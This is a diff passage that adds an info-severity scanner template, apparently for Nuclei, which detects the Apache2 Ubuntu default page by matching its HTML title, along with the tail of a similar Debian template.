+          - "<title>Apache2 Debian Default Page: It works</title>"
+        part: body

technologies/default-apache2-ubuntu-page.yaml

@@ -0,0 +1,18 @@
+id: default-apache2-ubuntu-page
+
+info:
+  name: Apache2 Ubuntu Default Page
+  author: dhiyaneshDk
+  severity: info
+  tags: tech,apache
+  reference: https://www.shodan.io/search?query=http.title%3A%22Apache2+Ubuntu+Default+Page%22
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+    matchers:
+      - type: word
+        words:
+          - "<title>Apache2 Ubuntu Default Page: It works</title>"
+        part: body